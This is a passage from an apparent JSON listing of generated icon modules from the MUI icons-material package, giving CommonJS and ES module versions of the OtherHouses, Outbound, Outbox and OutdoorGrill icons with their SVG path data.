    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.61 12.19c.34.44.96.52 1.4.19l.99-.76V20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-8.38l.99.76c.44.34 1.07.25 1.4-.19.34-.44.25-1.07-.19-1.4l-9.6-7.33c-.36-.27-.86-.27-1.21 0l-9.6 7.33c-.43.34-.52.97-.18 1.4M8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHousesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHousesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHousesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.52 6 10.1V19h12v-8.9zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16H6v-8.9l6-4.58 6 4.58zm-9-5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}, \"1\")], 'OtherHousesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.52 6 10.1V19h12v-8.9zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16H6v-8.9l6-4.58 6 4.58zm-9-5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}, \"1\")], 'OtherHousesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Outbound.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'Outbound');"
  },
  {
    "path": "packages/mui-icons-material/lib/Outbound.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'Outbound');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'OutboundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'OutboundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54-4.25 4.25c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l4.25-4.25-1.27-1.27c-.32-.32-.09-.86.35-.86h3.94c.28 0 .5.22.5.5v3.94c0 .45-.54.67-.85.35z\"\n}), 'OutboundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54-4.25 4.25c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l4.25-4.25-1.27-1.27c-.32-.32-.09-.86.35-.86h3.94c.28 0 .5.22.5.5v3.94c0 .45-.54.67-.85.35z\"\n}), 'OutboundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'OutboundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}), 'OutboundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1.88 7.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}, \"1\")], 'OutboundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboundTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1.88 7.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.88 9.54L8.92 16.5l-1.41-1.41 4.96-4.96L10.34 8l5.65.01.01 5.65z\"\n}, \"1\")], 'OutboundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Outbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.9-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zM8 11h2v3h4v-3h2l-4-4z\"\n}), 'Outbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/Outbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.9-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zM8 11h2v3h4v-3h2l-4-4z\"\n}), 'Outbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9.83V14h2V9.83l1.59 1.58L16 10l-4-4-4 4 1.41 1.41z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.02c.91 1.21 2.35 2 3.98 2s3.06-.79 3.98-2H19zm0-5h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"1\")], 'OutboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9.83V14h2V9.83l1.59 1.58L16 10l-4-4-4 4 1.41 1.41z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.02c.91 1.21 2.35 2 3.98 2s3.06-.79 3.98-2H19zm0-5h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"1\")], 'OutboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.21 11H11v2c0 .55.45 1 1 1s1-.45 1-1v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 11h-3.02c-.63 0-1.22.3-1.6.8-.54.73-1.4 1.2-2.38 1.2s-1.84-.47-2.38-1.2c-.38-.5-.97-.8-1.6-.8H5V5h14z\"\n}, \"1\")], 'OutboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.21 11H11v2c0 .55.45 1 1 1s1-.45 1-1v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 11h-3.02c-.63 0-1.22.3-1.6.8-.54.73-1.4 1.2-2.38 1.2s-1.84-.47-2.38-1.2c-.38-.5-.97-.8-1.6-.8H5V5h14z\"\n}, \"1\")], 'OutboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14h2v-3h3l-4-4-4 4h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 11h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"1\")], 'OutboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14h2v-3h3l-4-4-4 4h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 11h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"1\")], 'OutboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c-1.63 0-3.06-.79-3.98-2H5v3h14v-3h-3.02c-.92 1.21-2.35 2-3.98 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14h2v-3h3l-4-4-4 4h3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.02c.91 1.21 2.35 2 3.98 2s3.06-.79 3.98-2H19zm0-5h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"2\")], 'OutboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c-1.63 0-3.06-.79-3.98-2H5v3h14v-3h-3.02c-.92 1.21-2.35 2-3.98 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14h2v-3h3l-4-4-4 4h3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.02c.91 1.21 2.35 2 3.98 2s3.06-.79 3.98-2H19zm0-5h-4.18c-.41 1.16-1.51 2-2.82 2s-2.4-.84-2.82-2H5V5h14z\"\n}, \"2\")], 'OutboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutdoorGrill.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 22c1.66 0 3-1.34 3-3s-1.34-3-3-3c-1.3 0-2.4.84-2.82 2H9.14l1.99-3.06q.435.06.87.06c.435 0 .58-.02.87-.06l1.02 1.57c.42-.53.96-.95 1.6-1.21l-.6-.93C17.31 13.27 19 10.84 19 8H5c0 2.84 1.69 5.27 4.12 6.37l-3.95 6.08c-.3.46-.17 1.08.29 1.38s1.08.17 1.38-.29l1-1.55h6.34C14.6 21.16 15.7 22 17 22m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9.41 7h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04m2.48 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.78-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.23.24.8.67.45 2.04m2.52 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04\"\n}), 'OutdoorGrill');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutdoorGrill.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 22c1.66 0 3-1.34 3-3s-1.34-3-3-3c-1.3 0-2.4.84-2.82 2H9.14l1.99-3.06q.435.06.87.06c.435 0 .58-.02.87-.06l1.02 1.57c.42-.53.96-.95 1.6-1.21l-.6-.93C17.31 13.27 19 10.84 19 8H5c0 2.84 1.69 5.27 4.12 6.37l-3.95 6.08c-.3.46-.17 1.08.29 1.38s1.08.17 1.38-.29l1-1.55h6.34C14.6 21.16 15.7 22 17 22m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9.41 7h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04m2.48 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.78-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.23.24.8.67.45 2.04m2.52 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04\"\n}), 'OutdoorGrill');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutdoorGrillOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 22c1.66 0 3-1.34 3-3s-1.34-3-3-3c-1.3 0-2.4.84-2.82 2H9.14l1.99-3.06q.435.06.87.06c.435 0 .58-.02.87-.06l1.02 1.57c.42-.53.96-.95 1.6-1.21l-.6-.93C17.31 13.27 19 10.84 19 8H5c0 2.84 1.69 5.27 4.12 6.37l-3.95 6.08c-.3.46-.17 1.08.29 1.38s1.08.17 1.38-.29l1-1.55h6.34C14.6 21.16 15.7 22 17 22m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-9.58-8h9.16c-.77 1.76-2.54 3-4.58 3s-3.81-1.24-4.58-3m1.99-3h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04m2.48 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.78-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.23.24.8.67.45 2.04m2.52 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04\"\n}), 'OutdoorGrillOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutdoorGrillOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 22c1.66 0 3-1.34 3-3s-1.34-3-3-3c-1.3 0-2.4.84-2.82 2H9.14l1.99-3.06q.435.06.87.06c.435 0 .58-.02.87-.06l1.02 1.57c.42-.53.96-.95 1.6-1.21l-.6-.93C17.31 13.27 19 10.84 19 8H5c0 2.84 1.69 5.27 4.12 6.37l-3.95 6.08c-.3.46-.17 1.08.29 1.38s1.08.17 1.38-.29l1-1.55h6.34C14.6 21.16 15.7 22 17 22m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-9.58-8h9.16c-.77 1.76-2.54 3-4.58 3s-3.81-1.24-4.58-3m1.99-3h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04m2.48 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.78-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.23.24.8.67.45 2.04m2.52 0h1c.15-1.15.23-1.64-.89-2.96-.42-.5-.68-.77-.46-2.04h-.99c-.21 1.11.03 2.05.89 2.96.22.24.79.67.45 2.04\"\n}), 'OutdoorGrillOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutdoorGrillRounded.js",
